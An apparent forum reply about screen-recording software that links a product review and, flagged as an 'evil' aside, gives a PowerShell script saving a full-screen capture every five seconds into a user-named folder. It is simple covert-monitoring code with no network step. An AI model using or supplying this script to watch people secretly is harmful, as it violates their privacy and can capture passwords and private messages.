側錄軟體?
之前在ithome 有產品介紹過的,剛看那間公司還活著,不知道符不符合..
https://www.ithome.com.tw/review/96721
邪惡ps:
自己改,不要問我。
[Reflection.Assembly]::LoadWithPartialName("System.Drawing")
[void] [System.Reflection.Assembly]::LoadWithPartialName("System.Drawing")
[void] [System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms")
function screenshot($path)
{
$width = 0;
$height = 0;
$workingAreaX = 0;
$workingAreaY = 0;
$screen = [System.Windows.Forms.Screen]::AllScreens
foreach ($item in $screen)
{
if($workingAreaX -gt $item.WorkingArea.X)
{
$workingAreaX = $item.WorkingArea.X
}
if($workingAreaY -gt $item.WorkingArea.Y)
{
$workingAreaY = $item.WorkingArea.Y
}
$width = $width + $item.Bounds.Width;
if($item.Bounds.Height -gt $height)
{
$height = $item.Bounds.Height;
}
}
$bounds = [Drawing.Rectangle]::FromLTRB($workingAreaX, $workingAreaY, $width, $height)
$bmp = New-Object Drawing.Bitmap $width, $height
$graphics = [Drawing.Graphics]::FromImage($bmp)
$graphics.CopyFromScreen($bounds.Location, [Drawing.Point]::Empty, $bounds.size)
$bmp.Save($path)
$graphics.Dispose()
$bmp.Dispose()
}
$path = $env:USERPROFILE + "\snapshot\"
New-Item -ItemType directory -Path $path -Force
while($true){
$date = Get-Date -UFormat "%Y%m%d%H%M%S"
$filename = $env:username+"_"+$date+".jpg"
$filepath = $path+$filename
screenshot $filepath
Start-Sleep -Seconds 5
}